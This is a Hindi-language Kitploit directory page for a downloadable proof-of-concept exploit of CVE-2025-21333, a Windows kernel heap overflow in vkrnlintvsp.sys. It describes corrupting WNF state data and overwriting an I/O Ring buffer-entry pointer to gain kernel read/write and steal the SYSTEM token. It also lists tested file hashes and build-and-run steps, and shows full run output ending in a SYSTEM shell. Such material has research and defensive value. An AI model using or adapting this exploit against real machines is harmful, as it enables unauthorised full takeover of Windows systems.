Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-21333-POC — CVE-2025-21333 हीप-आधारित बफ़र ओवरफ़्लो के लिए POC एक्सप्लॉइट। यह WNF स्टेट डेटा और I/O रिंग IOP_MC_BUFFER_ENTRY का उपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/mrale98/cve-2025-21333-poc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपोस्ट-शोषणबाइनरी शोषण
GitHubmrale98/cve-2025-21333-poc

CVE-2025-21333-POC

CVE-2025-21333 हीप-आधारित बफ़र ओवरफ़्लो के लिए POC एक्सप्लॉइट। यह WNF स्टेट डेटा और I/O रिंग IOP_MC_BUFFER_ENTRY का उपयोग करता है।

रिपॉजिटरी देखें
232361 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-21333-POC

प्रूफ ऑफ कॉन्सेप्ट जो CVE-2025-21333 का शोषण करता है vkrnlintvsp.sys में (बहुत विश्वसनीय नहीं है, Requirements and Limitations अनुभाग देखें)। References अनुभाग के अंतर्गत उन लोगों के लिए बहुत उपयोगी संसाधन हैं जो एक्सप्लॉइट के साथ खेलना चाहते हैं।

भेद्यता और एक्सप्लॉइट का विस्तृत विश्लेषण यहाँ उपलब्ध है।

यह भेद्यता खतरे वाले अभिकर्ताओं (threat actors) द्वारा सक्रिय रूप से शोषित होते हुए पाई गई थी।

Windows 11 23h2 पर परीक्षण किया गया।

यह Windows 11 24h2 पर भी काम कर सकता है, लेकिन मैंने इसका परीक्षण नहीं किया।

नीचे ntoskrnl.exe और vkrnlintvsp.sys के हैश दिए गए हैं जिनका उपयोग POC के परीक्षण के लिए किया गया था।

root@kitploit:~
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77       C:\Windows\System32\drivers\v...

PS C:\Windows\System32\drivers>
root@kitploit:~
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473       C:\Windows\System32\ntoskrnl.exe

PS C:\Windows\System32>

I/O Ring बफर प्रविष्टि को अधिलेखित करके मनमाना read/write प्राप्त करना

यह कर्नेल पतों को लीक करने के लिए NtQuerySystemInformation का उपयोग नहीं करता है और न ही मनमाना read/write प्राप्त करने के लिए PreviousMode का उपयोग करता है।

इसके बजाय, यह Paged Pool में _IOP_MC_BUFFER_ENTRY की ओर संकेतकों (pointers) की एक सरणी (array) आवंटित करता है और पहले पॉइंटर को user-space में स्थित एक दुर्भावनापूर्ण IOP_MC_BUFFER_ENTRY* से अधिलेखित कर देता है। BuildIoRingWriteFile()/BuildIoRingReadFile() का उपयोग करके कर्नेल में मनमाना read/write प्राप्त करना संभव है।

_IOP_MC_BUFFER_ENTRY की ओर संकेतकों की सरणी PoolTag IrRB वाली एक वस्तु है।

यह तकनीक Yarden Shafir द्वारा प्रलेखित तकनीक से थोड़ी भिन्न है यहाँ। _IORING_OBJECT.RegBuffers द्वारा संकेतित पूरी सरणी पर नियंत्रण लेने के बजाय, यह तकनीक _IORING_OBJECT.RegBuffers द्वारा संकेतित सरणी में केवल एक प्रविष्टि पर नियंत्रण लेती है।

चूँकि पॉइंटर्स की सरणी का आकार उपयोगकर्ता द्वारा नियंत्रणीय है, इसका मतलब है कि इसका उपयोग heap-overflows और कई LFH बकेट्स के लिए UAFs से शुरू करके ring0 में विश्वसनीय मनमाना read/write प्राप्त करने के लिए किया जा सकता है।

मुझे नहीं पता कि क्या किसी ने paged pool में overflows या UAFs का शोषण करने के लिए यह तकनीक पहले ही साझा की है।

ये स्क्रीनशॉट poc चलाने के बाद लिए गए थे। ओवरफ्लो 0x50 ऑब्जेक्ट आकार वाले बकेट में था। ध्यान दें कि उस बकेट में RegBuffers सरणी आवंटित करना संभव था और पहला पॉइंटर user-space मेमोरी की ओर इंगित करता है।

image

ध्यान दें कि दुर्भावनापूर्ण प्रविष्टि Address को एक प्रक्रिया ऑब्जेक्ट पर सेट करती है। Address उस मनमाने पते से मेल खाता है जिसे हम पढ़ना/लिखना चाहते हैं (यह Yarden Shafir के लेख में पहले से अच्छी तरह वर्णित है)।

image

आवश्यकताएँ और सीमाएँ

विंडोज सैंडबॉक्स सुविधा को चालू करना आवश्यक है ताकि कमजोर syscalls को कमजोर ड्राइवर द्वारा नियंत्रित किया जा सके।

image

मैं 0xfff0 बाइट्स का ओवरफ्लो प्राप्त करने में सफल रहा। मैं ओवरफ्लो की लंबाई को पूरी तरह से नियंत्रणीय बनाने में सक्षम नहीं था। यदि ओवरफ्लो सबसेगमेंट से बड़ा है तो आप क्रैश देख सकते हैं (यह अक्सर हो सकता है)। शायद अधिक ऑब्जेक्ट्स स्प्रे करके इस व्यवहार को कम करना संभव है।

पॉक 2 WNF स्टेट डेटा को मुक्त करता है ताकि उन स्थितियों में एक regBuffer (एक IORING_OBJECT से संबद्ध _IOP_MC_BUFFER_ENTRY की ओर संकेतकों की एक सरणी) और एक PipeAttribute को पुनः आवंटित किया जा सके। कभी-कभी, free और realloc के बीच, ऐसा हो सकता है कि किसी अन्य ड्राइवर द्वारा उस स्थिति में एक और ऑब्जेक्ट आवंटित कर दिया जाए। एक while लूप में अन्य दूषित WNF स्टेट डेटा ऑब्जेक्ट्स का उपयोग करके कई पुनः आवंटन प्रयास करना और वांछित लेआउट प्राप्त करने की संभावना बढ़ाना संभव होगा।

पॉक कोड काफी अव्यवस्थित है।

सिस्टम प्राप्त करने के बाद बेहतर है कि कंसोल में exit टाइप करके सिस्टम शेल से बाहर निकलें अन्यथा मशीन क्रैश हो जाएगी।

कंपाइल और रन

x64 Release संस्करण संकलित करें।

चलाएँ और एक सिस्टम शेल प्राप्त करें।

root@kitploit:~
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72  ....5..G...L.'"r


Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0  dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6  ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00  ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00  ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff  ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00  8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41  :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00  ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42  ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00  ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................


[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.

C:\Users\unpriv>whoami
nt authority\system

C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>

संदर्भ

  • https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
  • https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
  • https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

आभार

  • @cbayet
  • @paulfariello
  • @alexjplaskett
  • @yarden_shafir
टूल डाउनलोड करें